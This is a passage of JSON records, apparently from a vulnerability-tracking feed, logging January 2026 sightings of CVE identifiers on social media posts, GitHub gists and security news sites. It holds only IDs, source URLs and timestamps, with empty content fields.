"creation_timestamp": "2026-01-22T17:33:40.000000Z"}, {"uuid": "31773167-17f8-4fdf-94c2-c25adbd9b8f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24360", "type": "seen", "source": "https://gist.github.com/Darkcrai86/00329ec9468c602a07524a59f04a7c1b", "content": "", "creation_timestamp": "2026-01-22T17:35:34.000000Z"}, {"uuid": "93470fd5-437a-4007-87f4-bfa9445c6627", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24365", "type": "seen", "source": "https://gist.github.com/Darkcrai86/5e6d1f048ef90ffc34e06105c72c7856", "content": "", "creation_timestamp": "2026-01-22T17:35:12.000000Z"}, {"uuid": "bd30f030-fc7d-4bf5-873b-36bdab572507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24355", "type": "seen", "source": "https://gist.github.com/Darkcrai86/9d0c73283778e131b540fd85758fe6e4", "content": "", "creation_timestamp": "2026-01-22T17:36:56.000000Z"}, {"uuid": "c87d6b7a-381a-4245-950f-86aa71864056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24356", "type": "seen", "source": "https://gist.github.com/Darkcrai86/0dc5c7f46c0fda6b4fb2686ce1cbf19f", "content": "", "creation_timestamp": "2026-01-22T17:36:34.000000Z"}, {"uuid": "bc070e17-860d-4aba-a001-686bed01edae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24357", "type": "seen", "source": "https://gist.github.com/Darkcrai86/1447eafea930c5a21ac785b3ff58503c", "content": "", "creation_timestamp": "2026-01-22T17:36:10.000000Z"}, {"uuid": "3ed61613-3f7e-4fb7-8f76-7fe30a52cd9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24353", "type": "seen", "source": "https://gist.github.com/Darkcrai86/a5950837fe9ae3888b49e309841ffa4b", "content": "", "creation_timestamp": "2026-01-22T17:37:51.000000Z"}, {"uuid": "513a2d96-6fde-44cc-85aa-e5b9ae64500e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24354", "type": "seen", "source": "https://gist.github.com/Darkcrai86/7c4638f30bf2711295fa5e79fc8987ac", "content": "", "creation_timestamp": "2026-01-22T17:37:22.000000Z"}, {"uuid": "bbab0101-37c6-44a7-964b-c5b4e5d7cbd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/t3mp-0x.cc/post/3mczqu74gqk2a", "content": "", "creation_timestamp": "2026-01-22T17:52:30.208165Z"}, {"uuid": "614b80bc-01b8-416a-9b81-a835fcfa0381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3mczrdk5ogk27", "content": "", "creation_timestamp": "2026-01-22T18:01:05.469678Z"}, {"uuid": "7a85b13a-abe6-4fd9-bad8-fa0966e40e28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mczsbvu6fk27", "content": "", "creation_timestamp": "2026-01-22T18:18:14.432956Z"}, {"uuid": "94b8e1e6-b308-4d75-8f3a-974c84f23bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24366", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczutywbf72c", "content": "", "creation_timestamp": "2026-01-22T19:03:58.692267Z"}, {"uuid": "eaef8c2a-7887-4dda-b5a6-37e6238f0ca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24360", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczuwp3a6h2r", "content": "", "creation_timestamp": "2026-01-22T19:05:29.017152Z"}, {"uuid": "fc1ba1ce-bdfa-4429-b5b0-11f862171ce6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24365", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczuzjqpen2n", "content": "", "creation_timestamp": "2026-01-22T19:07:07.516671Z"}, {"uuid": "46b1997a-c35e-45c0-ba77-c74f33438c1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24371", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczv4lwjit2i", "content": "", "creation_timestamp": "2026-01-22T19:08:47.018493Z"}, {"uuid": "c32e4c2e-b7ed-4c98-bb0f-f272c2227931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24361", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczv7ra6ei2i", "content": "", "creation_timestamp": "2026-01-22T19:10:33.335618Z"}, {"uuid": "5a7a8d46-2546-4a34-a819-a0267e50b30f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24381", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczvd4ttg32c", "content": "", "creation_timestamp": "2026-01-22T19:12:26.159619Z"}, {"uuid": "c6a6b8a8-ddc1-46a1-b2cf-ad2160f519f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24380", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczvgpm6vc2g", "content": "", "creation_timestamp": "2026-01-22T19:14:26.350100Z"}, {"uuid": "0f233be5-b7a0-401c-811b-d3492b397b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24388", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczvkklgul2j", "content": "", "creation_timestamp": "2026-01-22T19:16:35.379024Z"}, {"uuid": "6165e4b3-235e-448e-a05d-b1d5cdab9ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24367", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczvoox7w62i", "content": "", "creation_timestamp": "2026-01-22T19:18:54.240644Z"}, {"uuid": "6b26eebb-b92e-490c-8f2f-fc6b5eee5671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24383", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczvt6dfxu2c", "content": "", "creation_timestamp": "2026-01-22T19:21:24.559971Z"}, {"uuid": "36b49352-e29e-4bdc-ae49-e7cae96b4873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24384", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczvy2p3wr26", "content": "", "creation_timestamp": "2026-01-22T19:24:08.529484Z"}, {"uuid": "41b5d4f1-69e4-482a-aa5c-9556bf5a8380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24390", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczw5gouxi2n", "content": "", "creation_timestamp": "2026-01-22T19:27:08.896489Z"}, {"uuid": "0d370a9d-f1b0-43bd-bd51-574817993349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24379", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczwdfscsn2i", "content": "", "creation_timestamp": "2026-01-22T19:30:29.257654Z"}, {"uuid": "ae45ebb4-86a8-49ef-80f3-270c410252e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24389", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczwk4ptgp2n", "content": "", "creation_timestamp": "2026-01-22T19:34:14.641821Z"}, {"uuid": "27706d83-5a94-4c11-a139-445fc422fc30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24387", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczwrwbbmm2t", "content": "", "creation_timestamp": "2026-01-22T19:38:36.121016Z"}, {"uuid": "983d7ca8-f6b4-4a5e-82a1-40030dd17f63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24374", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczx2uohso2g", "content": "", "creation_timestamp": "2026-01-22T19:43:36.508886Z"}, {"uuid": "3321606b-4960-4896-84a8-12978a164a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24377", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczxdt3uq62t", "content": "", "creation_timestamp": "2026-01-22T19:48:36.951247Z"}, {"uuid": "d45de49c-7e9c-466a-88ec-f6cb89b1d49f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24386", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczxmrj3tl2n", "content": "", "creation_timestamp": "2026-01-22T19:53:37.236909Z"}, {"uuid": "6e1de1a0-028a-4fa3-92f0-88f6cd94d656", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24368", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczxvpvy7h2n", "content": "", "creation_timestamp": "2026-01-22T19:58:37.477411Z"}, {"uuid": "a343820f-2aa8-415c-84c2-f60f48d5a430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://thehackernews.com/2026/01/critical-gnu-inetutils-telnetd-flaw.html", "content": "", "creation_timestamp": "2026-01-22T15:30:00.000000Z"}, {"uuid": "6f37daf0-07f1-45a0-9082-70d03ae0b17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/102", "content": "", "creation_timestamp": "2026-01-22T16:39:05.000000Z"}, {"uuid": "0bdf2fc2-e378-4dbb-8c65-04a5897818cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24009", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mczzsofrpr2t", "content": "", "creation_timestamp": "2026-01-22T20:32:42.958351Z"}, {"uuid": "da4ee328-8675-4539-868b-42f9498ced81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3md265vuvbq23", "content": "", "creation_timestamp": "2026-01-22T21:50:35.269644Z"}, {"uuid": "557b7332-53d6-4688-a4d7-da866a371c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cybersentinel404.bsky.social/post/3md2adz5ogk2j", "content": "", "creation_timestamp": "2026-01-22T22:29:46.964593Z"}, {"uuid": "4bdebb04-bce7-41ed-9c23-98d5eb7e72fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24058", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2djoyqkm2i", "content": "", "creation_timestamp": "2026-01-22T23:26:38.927687Z"}, {"uuid": "50b330a3-25f3-4e14-8f0f-e5c22dc108bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24307", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md2dmgtemf2x", "content": "", "creation_timestamp": "2026-01-22T23:28:11.864879Z"}, {"uuid": "58951b81-b6a5-4e95-a3e6-3f9fcd76a6ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24129", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md2dmnxrw324", "content": "", "creation_timestamp": "2026-01-22T23:28:18.948408Z"}, {"uuid": "3e40e927-5a36-4dba-9ce6-423a8e80f0aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24305", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md2dmukstt24", "content": "", "creation_timestamp": "2026-01-22T23:28:25.822065Z"}, {"uuid": "dbd15bd3-424c-4843-94c9-8cd0b8dd708d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24117", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2dolf7po2t", "content": "", "creation_timestamp": "2026-01-22T23:29:22.939874Z"}, {"uuid": "12bbd416-6f96-4c4c-aab1-4eced906b1b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24306", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md2dq3sd5i22", "content": "", "creation_timestamp": "2026-01-22T23:30:14.558368Z"}, {"uuid": "97abfad1-c535-46ae-af3d-fd96d6fd3057", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24124", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2f27td5h2h", "content": "", "creation_timestamp": "2026-01-22T23:53:47.279945Z"}, {"uuid": "3fae68ab-0323-4668-8a0a-7605ef33e9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24129", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2g6kbio62g", "content": "", "creation_timestamp": "2026-01-23T00:14:07.077083Z"}, {"uuid": "260ff5e8-8704-436d-9df3-bbe1db83bbf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24306", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2ghj2h462r", "content": "", "creation_timestamp": "2026-01-23T00:19:08.147944Z"}, {"uuid": "37463b6a-31fc-4cf2-a0d4-3fe4c3c8e281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24307", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2gzhkj6a2i", "content": "", "creation_timestamp": "2026-01-23T00:29:09.183727Z"}, {"uuid": "a62c4535-699a-49d6-a6ef-6dabea7da3bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24305", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2hlegtbt23", "content": "", "creation_timestamp": "2026-01-23T00:39:09.927870Z"}, {"uuid": "67fcb4a4-f324-468f-ad14-7e5985ff1ecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3md2hmglxcc2u", "content": "", "creation_timestamp": "2026-01-23T00:39:46.432139Z"}, {"uuid": "74321910-eddd-4dd8-b787-c5df517dd4c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24138", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md2lbc2zjo24", "content": "", "creation_timestamp": "2026-01-23T01:45:07.703146Z"}, {"uuid": "9cf363e4-73c9-4bbc-a736-2eaade262cdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md2ndnlib52o", "content": "", "creation_timestamp": "2026-01-23T02:22:14.539010Z"}, {"uuid": "98a8a403-c7be-41d1-9c3a-c07faa447a24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md2ne3jsoc2g", "content": "", "creation_timestamp": "2026-01-23T02:22:28.530514Z"}, {"uuid": "15abde07-88ae-49bd-94c0-dd466349bf18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://mstdn.social/users/jschauma/statuses/115942030116248831", "content": "", "creation_timestamp": "2026-01-23T02:23:03.942622Z"}, {"uuid": "bb40aaae-12fa-4038-8723-44c00c334125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3md2nhmb2mzm2", "content": "", "creation_timestamp": "2026-01-23T02:25:01.937977Z"}, {"uuid": "55923f74-f334-48e4-9747-0d3a9f2ad943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md2nl6pq722a", "content": "", "creation_timestamp": "2026-01-23T02:26:26.420918Z"}, {"uuid": "11fd11e0-07e7-49fb-a3e2-c5123b08627b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24137", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2poy464o23", "content": "", "creation_timestamp": "2026-01-23T03:04:21.170351Z"}, {"uuid": "017e0f13-b884-442d-8754-b67014128d61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24138", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2qauxaxw2t", "content": "", "creation_timestamp": "2026-01-23T03:14:21.759739Z"}, {"uuid": "d4438b0b-22fe-4760-b9d5-3eecdf2398f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2qjtekvf23", "content": "", "creation_timestamp": "2026-01-23T03:19:22.142226Z"}, {"uuid": "c6f1803a-4c1d-4615-aca4-dc161ca2ab81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24132", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2r3q7vwt2c", "content": "", "creation_timestamp": "2026-01-23T03:29:22.907426Z"}, {"uuid": "bcb15f31-1b55-47ed-8322-27386ecfca3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24341", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md35fhbkuj2i", "content": "", "creation_timestamp": "2026-01-23T07:09:34.480669Z"}, {"uuid": "cad650e8-ee81-4149-b722-b35e39c81c1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24334", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md35imlpwe2h", "content": "", "creation_timestamp": "2026-01-23T07:11:20.058474Z"}, {"uuid": "9ec16134-4d16-41bc-ae99-9bbc476d9c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24336", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md35ly7j2s2i", "content": "", "creation_timestamp": "2026-01-23T07:13:13.054248Z"}, {"uuid": "ba22220c-c83b-4361-a59b-5c31049dfe20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24340", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md35pkyvis2t", "content": "", "creation_timestamp": "2026-01-23T07:15:13.299819Z"}, {"uuid": "40fc9e9c-2c0d-4b86-856b-72043eea2bdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24338", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md35tfy2ke2c", "content": "", "creation_timestamp": "2026-01-23T07:17:22.240229Z"}, {"uuid": "41ce2f43-5734-47f6-a055-925ea235d405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24337", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md35xkdw5o2n", "content": "", "creation_timestamp": "2026-01-23T07:19:41.005981Z"}, {"uuid": "df26cf64-698d-4a72-a508-27812fb8514a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24335", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md36aw5q6y2g", "content": "", "creation_timestamp": "2026-01-23T07:24:55.547652Z"}, {"uuid": "bf5c4699-1b06-4480-b991-204337ea4add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24342", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md36gc655y2h", "content": "", "creation_timestamp": "2026-01-23T07:27:55.611853Z"}, {"uuid": "a81f1409-b641-4d6b-9d22-f060da29f18d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/Darkcrai86/deeed3700212e04ce7c277ea6d444a61", "content": "", "creation_timestamp": "2026-01-23T07:42:13.000000Z"}, {"uuid": "784e44e6-8bed-428a-9f10-7206083870b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24305", "type": "seen", "source": "https://gist.github.com/Darkcrai86/5d182f8a92b9cf8015bdb37eb15fcf96", "content": "", "creation_timestamp": "2026-01-23T07:47:18.000000Z"}, {"uuid": "8bbd7754-b888-4224-97e1-f9bfd5c1ac92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://gist.github.com/Darkcrai86/5fe51affc46122e644a680dc695b16c6", "content": "", "creation_timestamp": "2026-01-23T07:46:49.000000Z"}, {"uuid": "5ffc3c50-3e31-4007-b7a0-cd89d33b6d35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24306", "type": "seen", "source": "https://gist.github.com/Darkcrai86/70c069eac0411f61c851e868f8b551a5", "content": "", "creation_timestamp": "2026-01-23T07:48:01.000000Z"}, {"uuid": "83d307b8-a198-4e23-a703-401f02a7d132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24339", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md37mkonv32t", "content": "", "creation_timestamp": "2026-01-23T07:49:19.583603Z"}, {"uuid": "ffe9b997-61b3-44b3-8007-2240c6ba49a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://gist.github.com/Darkcrai86/2c44a1da34c1a00e332099d9e1ff5239", "content": "", "creation_timestamp": "2026-01-23T08:03:07.000000Z"}, {"uuid": "984a7fbc-f9b1-4a0f-bdbc-e95fd9365cf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24306", "type": "seen", "source": "https://gist.github.com/Darkcrai86/734f5d4a8c1fafae9e5eee75217972a0", "content": "", "creation_timestamp": "2026-01-23T08:03:34.000000Z"}, {"uuid": "a1d32a1c-c6ba-4719-9b00-b2d34a50e5c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24305", "type": "seen", "source": "https://gist.github.com/Darkcrai86/caada00aecd999f261393c41249b724e", "content": "", "creation_timestamp": "2026-01-23T08:04:28.000000Z"}, {"uuid": "fa86208b-6f95-41a4-a70e-2a57e6deab66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mgutoe3fal23", "content": 